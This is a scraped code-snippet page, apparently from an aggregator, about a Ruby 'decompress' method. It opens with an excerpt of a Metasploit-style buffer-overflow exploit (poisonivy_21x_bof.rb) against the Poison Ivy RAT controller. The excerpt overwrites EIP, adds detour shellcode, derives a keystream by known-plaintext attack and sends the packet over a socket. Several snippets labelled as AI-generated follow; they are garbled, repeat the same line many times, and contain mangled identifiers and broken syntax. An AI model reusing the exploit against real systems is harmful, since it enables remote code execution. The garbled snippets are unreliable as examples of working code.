How to use decompress method of Header Package

Best Vcr_ruby code snippet using Header.decompress

poisonivy_21x_bof.rb

Source:poisonivy_21x_bof.rb Github

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...105 exploitBuffer = Rex::Text.rand_text_alpha(4) # infoLen (placeholder)106 exploitBuffer << compressedBuffer # compressedBuffer107 exploitBuffer << "\xFF" * 0x104 # readfds108 exploitBuffer << Rex::Text.rand_text_alpha(4) # compressionType109 exploitBuffer << Rex::Text.rand_text_alpha(4) # decompressSize (placeholder)110 exploitBuffer << Rex::Text.rand_text_alpha(4) # pDestinationSize111 exploitBuffer << Rex::Text.rand_text_alpha(4) # infoSize (placeholder)112 exploitBuffer << Rex::Text.rand_text_alpha(4) # headerAllocSize113 exploitBuffer << [target['StoreAddress']].pack("V") # decompressBuffer114 exploitBuffer << Rex::Text.rand_text_alpha(4) # decompressBuffer+4115 exploitBuffer << Rex::Text.rand_text_alpha(4) # lParam116 exploitBuffer << Rex::Text.rand_text_alpha(4) # timeout117 exploitBuffer << Rex::Text.rand_text_alpha(4) # hWnd118 exploitBuffer << Rex::Text.rand_text_alpha(4) # s119 exploitBuffer << Rex::Text.rand_text_alpha(4) # old EBP120 exploitBuffer << [target['Ret']].pack("V") # EIP121 exploitBuffer << [target['StoreAddress']].pack("V") # arg_0122 exploitBuffer << detourShellcode # detour to storage area123 # Calculate values124 allocSize = exploitBuffer.length + 1024125 infoLen = payload.encoded.length126 infoSize = (infoLen + 4)127 # Handshake128 connect129 print_status("Performing handshake...")130 # Poke131 sock.put("\x01")132 # Fetch response133 response = sock.get(target['Packet2Offset'] + knownPlaintext1.length + infoSize)134 eHeader = response[target['Packet2Offset'], 6]135 eInfo = response[target['Packet2Offset'] + 10..-1]136 if ((eHeader.length >= knownPlaintext1.length) and (knownPlaintext1.length >= 6) and (eInfo.length >= knownPlaintext2.length) and (knownPlaintext2.length >= infoSize))137 # Keystream derivation using Known Plaintext Attack138 keyStream1 = get_keystream(eHeader, knownPlaintext1)139 keyStream2 = get_keystream(eInfo, knownPlaintext2)140 # Set correct infoLen141 exploitBuffer = [infoLen].pack("V") + exploitBuffer[4..-1]142 # Set correct decompressSize143 exploitBuffer = exploitBuffer[0, target['DecompressSizeOffset']] + [infoSize].pack("V") + exploitBuffer[(target['DecompressSizeOffset'] + 4)..-1]144 # Build packet145 malHeader = use_keystream("\x89\x01" + [allocSize].pack("V"), keyStream1)146 # Encrypt infoSize bytes147 encryptedExploitBuffer = use_keystream(exploitBuffer[0, infoSize], keyStream2) + exploitBuffer[infoSize..-1]148 # Make sure infoSize gets overwritten properly since it is processed before decryption149 encryptedExploitBuffer = encryptedExploitBuffer[0, target['InfoSizeOffset']] + [infoSize].pack("V") + encryptedExploitBuffer[target['InfoSizeOffset']+4..-1]150 # Finalize packet151 exploitPacket = malHeader + [encryptedExploitBuffer.length].pack("V") + encryptedExploitBuffer152 print_status("Sending exploit...")153 # Send exploit154 sock.put(exploitPacket)155 else156 print_status("Not enough keystream available...")...

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decompress

Using AI Code Generation

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1 Zlib::Inflate.inflate(@data)2 Zlib::Inflate.inflate(@data)3 Zlib::Inflate.inflate(@data)4 Zlib::Inflate.inflate(@data)5 Zlib::Inflate.inflate(@data)6 Zlib::Inflate.inflate(@data)7 Zlib::Inflate.inflate(@data)8 Zlib::Inflate.inflate(@data)9 Zlib::Inflate.inflate(@data)

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decompress

Using AI Code Generation

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1 Zlib::Inflate.inflate(@data)2 Zlib::Inflate.inflate(@data)3 Zlib::Inflate.inflate(@data)4 Zlib::Inflate.inflate(@data)5 Zlib::Inflate.inflate(@data)6 Zlib::Inflate.inflate(@data)7 Zlib::Inflate.inflate(@data)8 Zlib::Inflate.inflate(@data)9 Zlib::Inflate.inflate(@data)

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decompress

Using AI Code Generation

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1puts Header.new.decompress(ARGV[0])2puts Header.new.decompress(ARGV[0])3puts Header.new.decompress(ARGV[0])4puts Header.new.decompress(ARGV[0])5puts Header.new.decompress(ARGV[0])6puts Header.new.decompress(ARGV[0])7puts Header.new.decompress(ARGV[0])8puts Header.new.decompress(ARGV[0])9puts Header.new.decompress(ARGV[0])10puts Header.new.decompress(ARGV[0])11puts Header.new.decompress(ARGV[0])12puts Header.new.decompress(ARGV[0])13puts Header.new.decompress(ARGV[0])14puts Header.new.decompress(ARGV[0])15puts Header.new.decompress(ARGV[0])

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decompress

Using AI Code Generation

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1input = File.open(input_file, 'r')2output = File.open(output_file, 'w')3output.write(header.decompress(input_contents))4input = File.open(input_file, 'r')5output= File.pen(output_ile,'w')6output.wrie(eader.compress(input_contents))7 def ompress(input_string)8 input_array = input_tring.split('')9 def decompress(header_string)10 header_array = header_string.tr('[]', '').spliter = Header.new

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decompress

Using AI Code Generation

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1str = Header.decompress("1.gz")2str = Header.decompress("2.gz")3str = Header.decompress("3.gz")4str = Header.decompress("4.gz")5str = Header.decompress("5.gz")6str = Header.decompress("6.gz")7str = Header.decompress("7.gz")8str = Header.decompress("8.gz")9str = Header.decompress("9.gz")10str = Header.decompress("10.gz")11str = Header.decompress("11.gz")12str = Header.decompress("12.gz")13str = Header.decompress("

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